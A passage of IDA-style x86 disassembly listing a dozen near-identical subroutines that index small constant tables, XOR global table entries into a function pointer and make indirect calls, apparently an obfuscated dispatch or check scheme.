var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 49h
mov [ebp+var_2C], 16h
mov [ebp+var_28], 0CFh
mov [ebp+var_24], 18h
mov [ebp+var_20], 99h
mov [ebp+var_1C], 0E0h
mov [ebp+var_18], 90h
mov [ebp+var_14], 5Ah
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A94A5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A94A5: ; CODE XREF: sub_4A9414+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9414 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9511 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9C4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 26h
mov [ebp+var_2C], 8Dh
mov [ebp+var_28], 0D7h
mov [ebp+var_24], 73h
mov [ebp+var_20], 0CBh
mov [ebp+var_1C], 1Fh
mov [ebp+var_18], 1Eh
mov [ebp+var_14], 65h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A959F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A959F: ; CODE XREF: sub_4A9511+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A960B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9C8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Bh
mov [ebp+var_2C], 4Dh
mov [ebp+var_28], 0A3h
mov [ebp+var_24], 85h
mov [ebp+var_20], 27h
mov [ebp+var_1C], 0EBh
mov [ebp+var_18], 2Eh
mov [ebp+var_14], 42h
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A969C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A969C: ; CODE XREF: sub_4A960B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A960B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9708 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9CCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 70h
mov [ebp+var_2C], 0Ah
mov [ebp+var_28], 0C9h
mov [ebp+var_24], 24h
mov [ebp+var_20], 77h
mov [ebp+var_1C], 64h
mov [ebp+var_18], 68h
mov [ebp+var_14], 29h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9799
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9799: ; CODE XREF: sub_4A9708+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9708 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9805 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9D0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 60h
mov [ebp+var_2C], 96h
mov [ebp+var_28], 68h
mov [ebp+var_24], 1Eh
mov [ebp+var_20], 0CFh
mov [ebp+var_1C], 24h
mov [ebp+var_18], 37h
mov [ebp+var_14], 70h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9896
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9896: ; CODE XREF: sub_4A9805+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9805 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9902 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9D4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A0h
mov [ebp+var_2C], 91h
mov [ebp+var_28], 0F4h
mov [ebp+var_24], 63h
mov [ebp+var_20], 3
mov [ebp+var_1C], 7
mov [ebp+var_18], 0A8h
mov [ebp+var_14], 0E1h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9992
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9992: ; CODE XREF: sub_4A9902+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9902 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A99FE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9D8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Fh
mov [ebp+var_2C], 72h
mov [ebp+var_28], 8Eh
mov [ebp+var_24], 58h
mov [ebp+var_20], 0F7h
mov [ebp+var_1C], 3Eh
mov [ebp+var_18], 29h
mov [ebp+var_14], 20h
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9A8F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9A8F: ; CODE XREF: sub_4A99FE+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A99FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9AFB proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9DCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 39h
mov [ebp+var_2C], 54h
mov [ebp+var_28], 38h
mov [ebp+var_24], 0D0h
mov [ebp+var_20], 0E2h
mov [ebp+var_1C], 99h
mov [ebp+var_18], 0A6h
mov [ebp+var_14], 0F4h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9B8B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9B8B: ; CODE XREF: sub_4A9AFB+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9AFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9BF7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9E0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 37h
mov [ebp+var_2C], 0D8h
mov [ebp+var_28], 48h
mov [ebp+var_24], 12h
mov [ebp+var_20], 7Dh
mov [ebp+var_1C], 50h
mov [ebp+var_18], 33h
mov [ebp+var_14], 0EAh
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9C88
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9C88: ; CODE XREF: sub_4A9BF7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9BF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9CF4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9E4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 97h
mov [ebp+var_2C], 68h
mov [ebp+var_28], 7Ch
mov [ebp+var_24], 45h
mov [ebp+var_20], 60h
mov [ebp+var_1C], 7Bh
mov [ebp+var_18], 8Bh
mov [ebp+var_14], 0ADh
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9D85
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9D85: ; CODE XREF: sub_4A9CF4+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9CF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9DF1 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9E8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 86h
mov [ebp+var_2C], 19h
mov [ebp+var_28], 6Dh
mov [ebp+var_24], 0A0h
mov [ebp+var_20], 2Dh
mov [ebp+var_1C], 4Eh
mov [ebp+var_18], 0A9h
mov [ebp+var_14], 0D1h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9E82
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9E82: ; CODE XREF: sub_4A9DF1+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9DF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9EEE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9ECo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E1h
mov [ebp+var_2C], 0F3h
mov [ebp+var_28], 0B1h
mov [ebp+var_24], 31h
mov [ebp+var_20], 81h
mov [ebp+var_1C], 20h
mov [ebp+var_18], 0B1h
mov [ebp+var_14], 0Ch
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A9F7F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A9F7F: ; CODE XREF: sub_4A9EEE+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9EEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9FEB proc near ; CODE XREF: .text:004BB43Ep
